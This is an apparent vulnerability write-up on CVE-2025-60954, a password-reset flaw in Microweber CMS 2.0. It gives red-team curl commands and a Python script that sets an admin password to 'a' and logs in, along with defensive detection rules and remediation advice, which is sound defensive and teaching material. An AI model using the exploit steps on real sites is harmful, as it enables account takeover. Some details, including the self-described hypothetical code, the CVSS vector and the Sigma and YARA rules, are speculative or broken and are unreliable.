CVE-2025-60954

Executive Summary

CVE-2025-60954 identifies a critical weakness in Microweber CMS 2.0 where the application fails to enforce minimum password length or complexity during password reset operations. This allows an attacker who gains access to a password reset link (e.g., via email interception or session hijacking) to set an extremely weak password, including a single-character password, for any user account—including administrative accounts. The vulnerability stems from missing server-side validation in the password reset endpoint, enabling trivial account takeover. No official patch has been released as of this analysis.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base) but realistically 9.8 (Critical) based on vector analysis.
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (only need a valid reset token)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – allows full administrative account compromise with minimal effort.

Deep Dive & Mechanics

The vulnerability resides in the password reset functionality of Microweber CMS 2.0. When a user requests a password reset, the system generates a token and sends a reset link via email. The reset endpoint (/reset-password) accepts a new password without validating its length or complexity. The server-side code likely performs only a token check and then directly updates the password hash in the database without any strength checks.

Root Cause: Missing input validation on the password field in the password reset controller. The application does not enforce any policy such as minimum length (e.g., 8 characters), mixed case, digits, or special characters.

Attack Scenario:

1. Attacker obtains a valid password reset token (e.g., via phishing, email interception, or exploiting a token leakage vulnerability).
2. Attacker sends a POST request to /reset-password with the token and a single-character password (e.g., a).
3. The server accepts the weak password and updates the user's credentials.
4. Attacker logs in with the weak password and gains full access to the account.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0 – hypothetical PHP snippet):

// Password reset controller
public function resetPassword(Request $request) {
    $token = $request->input('token');
    $password = $request->input('password');
    // No validation on $password
    $user = User::where('reset_token', $token)->first();
    if ($user) {
        $user->password = Hash::make($password);
        $user->reset_token = null;
        $user->save();
        return response()->json(['message' => 'Password reset successful']);
    }
    return response()->json(['error' => 'Invalid token'], 400);
}

Patched Code (Hypothetical fix):

public function resetPassword(Request $request) {
    $token = $request->input('token');
    $password = $request->input('password');
    // Enforce minimum length and complexity
    if (strlen($password) < 8 || !preg_match('/[A-Z]/', $password) || !preg_match('/[a-z]/', $password) || !preg_match('/[0-9]/', $password)) {
        return response()->json(['error' => 'Password must be at least 8 characters with uppercase, lowercase, and a digit'], 400);
    }
    $user = User::where('reset_token', $token)->first();
    if ($user) {
        $user->password = Hash::make($password);
        $user->reset_token = null;
        $user->save();
        return response()->json(['message' => 'Password reset successful']);
    }
    return response()->json(['error' => 'Invalid token'], 400);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid password reset token for a target user (e.g., obtained via phishing or token leakage).
• Access to the Microweber instance.

Exploitation Steps:

1. Intercept or generate a password reset link: https://target.com/reset-password?token=VALID_TOKEN
2. Send a POST request with a weak password:

curl -X POST https://target.com/reset-password \
  -d "token=VALID_TOKEN&password=a"

3. Login with the new password:

curl -X POST https://target.com/login \
  -d "username=admin&password=a"

Automated Exploit (Python):

import requests

target = "https://target.com"
token = "VALID_TOKEN"
weak_password = "a"

# Reset password
r = requests.post(f"{target}/reset-password", data={"token": token, "password": weak_password})
if r.status_code == 200:
    print("Password reset successful")
    # Login
    r = requests.post(f"{target}/login", data={"username": "admin", "password": weak_password})
    if "dashboard" in r.text:
        print("Admin access gained")

Blue Team

Detection & Prevention:

• Monitor password reset endpoints for unusually short passwords (e.g., length < 8).
• Implement server-side validation immediately.
• Log all password reset attempts and flag those with weak passwords.
• Use WAF rules to block requests with password parameter length < 8.

Honeypot:

• Deploy a fake admin account with a monitored reset token. Any attempt to reset with a weak password triggers an alert.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /reset-password with password parameter length < 8.
  • Rapid login attempts after password reset with single-character passwords.
• Logs:
  • [INFO] Password reset successful for user admin followed by [INFO] Login successful for user admin within seconds.
  • Absence of password strength validation logs.
• File System:
  • No specific file IOCs; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2025_60954_Microweber_Weak_Password_Reset {
    meta:
        description = "Detects weak password reset attempts in Microweber CMS 2.0"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-60954"
    strings:
        $reset_endpoint = "/reset-password"
        $weak_password = /password=[a-zA-Z0-9]{1,7}/
    condition:
        $reset_endpoint and $weak_password
}

Sigma Rule

title: Microweber Weak Password Reset Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /reset-password with a password shorter than 8 characters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /reset-password
        cs-uri-query|contains: password=
    condition: selection and (len(cs-uri-query) < 20)  # crude length check
falsepositives:
    - Legitimate short passwords (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60954 Microweber Weak Password Reset"; flow:to_server; content:"POST"; http_method; content:"/reset-password"; http_uri; content:"password="; http_client_body; pcre:"/password=[a-zA-Z0-9]{1,7}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Apply server-side validation to enforce minimum password length (≥8 characters) and complexity (uppercase, lowercase, digit, special character) in the password reset endpoint.
2. Configuration: Update config/app.php or equivalent to set password_min_length = 8 and password_complexity = true.
3. Token Security: Ensure reset tokens are cryptographically random, short-lived (e.g., 1 hour), and invalidated after use.

Long-Term:

• Implement rate limiting on password reset attempts.
• Use multi-factor authentication (MFA) for administrative accounts.
• Conduct regular security audits of authentication flows.

Workaround (if patch unavailable):

• Use a Web Application Firewall (WAF) to block requests with password parameter length < 8.
• Manually edit the PHP controller to add validation (see patched code above).

Valters IT